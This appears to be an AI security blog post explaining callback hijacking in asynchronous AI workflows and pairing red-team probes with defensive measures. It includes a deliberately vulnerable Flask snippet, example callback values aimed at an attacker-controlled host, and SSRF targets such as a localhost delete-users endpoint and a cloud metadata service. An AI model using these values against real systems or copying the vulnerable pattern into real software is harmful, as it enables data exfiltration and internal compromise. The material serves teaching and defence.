32.4.4 Callback Hijacking

2025.10.06.
AI Security Blog

Consider an AI-driven fraud detection system that processes transactions asynchronously. When a transaction is submitted, the system queues it for analysis. Upon completion, it invokes a callback URL specified in the original request to notify an external service of the result: `approved` or `denied`. What happens if you can control that URL? Instead of notifying the legitimate service, you could force the AI to send its `approved` verdict to a system that releases funds, bypassing the intended verification step entirely. This is the essence of callback hijacking: manipulating the “return trip” of an asynchronous process to achieve a malicious outcome.

Understanding the Vulnerability

Callback hijacking is an attack vector that targets the mechanism used to signal the completion of an asynchronous task. In modern AI architectures, especially those involving long-running model inference or data processing jobs, the system doesn’t wait for the task to finish. Instead, it registers a “callback”—a function, webhook, or event handler—to be executed once the result is ready. The vulnerability arises when an attacker can influence or directly control the target of this callback.

Kapcsolati űrlap - EN

Do you have a question about AI Security? Reach out to us here:

This attack deviates from manipulating the input to the AI model itself. Instead, you target the application logic that orchestrates the workflow around the model. The AI might function perfectly, correctly identifying fraud or classifying content, but its correct result is weaponized by being delivered to the wrong destination.

Callback Hijacking Flow Diagram Normal Flow Client AI System Legit Service 1. Request with legit_callback 2. Async Process 3. Result sent to legit_callback Hijacked Flow Attacker AI System Malicious Endpoint 1. Request with evil_callback 2. Async Process 3. Result sent to evil_callback

Primary Attack Vectors

Your red teaming efforts should focus on identifying points where the callback target is defined and whether you can influence that definition. Here are the most common vectors.

1. Direct Parameter Injection

This is the most straightforward form of callback hijacking. The application’s API accepts a parameter that directly specifies the callback URL or function name. If the system doesn’t validate this input against a strict allow-list, you can supply your own endpoint.

# Vulnerable Python (Flask) pseudocode
@app.route('/process-image', methods=['POST'])
def process_image():
    image = request.files['image']
    # Attacker controls 'callback_url' directly from the request
    callback_url = request.form['callback_url']
    
    # The system blindly trusts the provided URL
    job_id = async_model.predict(image, callback_url=callback_url)
    
    return {"status": "processing", "job_id": job_id}

In this scenario, you would simply provide callback_url=https://attacker-controlled.com/endpoint in your request. The AI system will dutifully send the processing result to your server.

2. State Corruption (TOCTOU)

More subtle attacks involve corrupting the stored callback information between its registration and execution. This often leverages a Time-of-Check-to-Time-of-Use (TOCTOU) vulnerability or a race condition.

  1. Step 1 (Set): A legitimate request is made, and the system stores a valid callback URL in a database or cache, associated with a job ID. DB.set(job_id, "https://legit-service.com/notify").
  2. Step 2 (Corrupt): You exploit another vulnerability to overwrite this stored value before the AI job completes. This could be a NoSQL injection, a cache poisoning attack, or a race condition where a second request modifies the entry for the same job ID. DB.set(job_id, "https://attacker-controlled.com/endpoint").
  3. Step 3 (Use): The AI job finishes, retrieves the callback URL from the database, and sends the result to your malicious endpoint, unaware of the switch.

3. Webhook Poisoning and SSRF

Callback hijacking is a specialized form of Server-Side Request Forgery (SSRF). By controlling the callback URL, you are forcing the server to make a request on your behalf. This can be used not only to exfiltrate data but also to attack internal systems.

If you can specify a callback URL like http://127.0.0.1:8080/admin/delete_all_users or http://metadata.google.internal/, you can pivot from data exfiltration to direct infrastructure compromise. The AI system becomes a proxy for launching internal network attacks.

Red Teaming and Defensive Strategies

As a red teamer, your goal is to map the asynchronous workflows and identify any user-controllable data that influences post-processing actions. For defenders, the focus is on locking down these control points.

Strategy Red Team Actions Defensive Measures
Input Validation Fuzz API endpoints with parameters like callback, webhook_url, notify_endpoint. Test various URL schemes (file://, ftp://, gopher://). Implement a strict allow-list for all callback domains and URLs. Reject any request that does not match a pre-approved target. Never rely on block-lists.
State Integrity Probe for race conditions or injection vulnerabilities that could modify job metadata in the underlying database or cache while a task is in-flight. Make callback information immutable after job creation. Use digital signatures (e.g., HMAC) to verify the integrity of job metadata before execution.
Indirect Control Look for cases where the callback is constructed from multiple user-controlled inputs (e.g., "https://api.example.com/{user_id}/notify"). Test for path traversal or parameter pollution. Use pre-defined, parameterized templates for callbacks. Ensure user input is strictly sanitized and URL-encoded before being inserted into a template.
SSRF Exploitation Attempt to use internal IP addresses, localhost, and cloud metadata service endpoints as callback URLs to test for network boundary violations. Run asynchronous workers in a sandboxed environment with strict network egress rules. Prevent them from accessing internal network resources or cloud metadata APIs.

Ultimately, callback hijacking exploits the trust between the component that starts a job and the one that handles its result. By breaking this trust, you can divert the output of a powerful AI system to serve your own objectives, turning a sophisticated model into an unwitting accomplice.